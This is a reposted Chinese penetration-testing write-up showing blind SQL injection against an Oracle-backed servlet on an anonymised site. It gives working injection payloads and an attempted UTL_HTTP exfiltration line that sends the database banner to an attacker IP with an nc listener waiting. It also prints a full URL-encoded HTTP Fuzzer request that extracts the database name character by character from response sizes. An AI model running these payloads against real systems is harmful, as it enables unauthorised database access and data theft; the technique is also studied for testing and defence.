(转)利用HTTP Fuzzer辅助手工盲注
上周土司上发的,一直很忙,blog里一直搞忘发了。 ps:发现现在的黑客们转载怎么都不带版权的。
Author:j0k3m00n T00LS.NeT某天做渗透测试时遇到的,记录下来分享下,感谢导师yw的指导。 app扫到一inj如下 http://www.xxx.com/Servrlet?image=8798 打开后就一幅图,有点像ISCC2011脚本关的最后一题。不同之处在于那个需要验证referer且还有数据回显的地方,这个没有。 用Pangolin webcuriser havij MarathonTool 这些都注不出来,提示无法定义关键字或不是注入点。 手工验证一下,这个看似integer型的注入其实是string的。 ' and '1'='1 回显正确 ' and '1'='s 回显空白 ‘and (select count(*) from dual)>0—正常 oracle的库 因为没有数据返回的地方,所以union不行,试用UTL_HTTP存储过程来反弹注入一下。 本机 nc –vvpl 8888 Inj ‘ and (select count(*) from all_objects where object_name=’UTL_HTTP’)>0— 正常,HTL_HTTP存在。继续。 Inj ‘ and UTL_HTTP.request(‘http://x.x.x.x:8888/’||(select banner fromsys.v_$version where rownum=1))>0— 回显空白,看了下nc任何数据也没收到,估计又是服务器禁止了外连。 好吧,反弹注入是不行的了,看来就只有慢慢盲注了,但这个如果就这样手工慢慢提交下去的话,是个重口的体力活。用HTTP Fuzzer来构造一下。 先用Live HTTP Header随便抓了个GET的包,用来构建Fuzzer里的包。 Oracle的盲注语句这里就不多说了。 判断当前库名 ‘ and (select ascii(substr(sys.database_name,1,1))from dual where rownum=1)>50— Inj处执行后,回显正常。好,现在来构造下HTTPFuzzer的包 GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1 Accept: */* Accept-Language: zh-cn UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; .NET4.0C; .NET4.0E) Host: www.xxx.com Connection: Keep-Alive Pragma: no-cache 这里要注意几点: ${Gen_1}为数字型的Generator,范围从60到120(范围自定义)。 ${Gen_1}前面用等号,而不用>或<,这样来得更直接。 GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1 这一句在HTTP Fuzzer里必须在同一行,否则会出错。 遇到空格,单引号这些必须要编码,否则会错处。 因为该inj为一张图片,注入语句错误的话回显的是空白,不返回任何数据,意味着利用这点我们不用定义Fuzzer Filters直接观察返回数据包的大小就可以很快找到正确的ascii码。点击start开始。 可以看到,Response size一栏,其他的都是0b,只有Gen_1=71的时候有数据。说明当前数据库名的第一个字母的ascii码值为71。 手工验证如下: 图片回显正常。71正确。 Ok 成功,大大加快了手工盲注的速度。依次改变substr(xxx,1,1)来获得其他数据。后面过程毫无亮点,就恕不多说了。 Ps:像什么延时注入,破解表单等很多事情其实HTTPFuzzer都可以完成,这个就留给大家发散吧。 |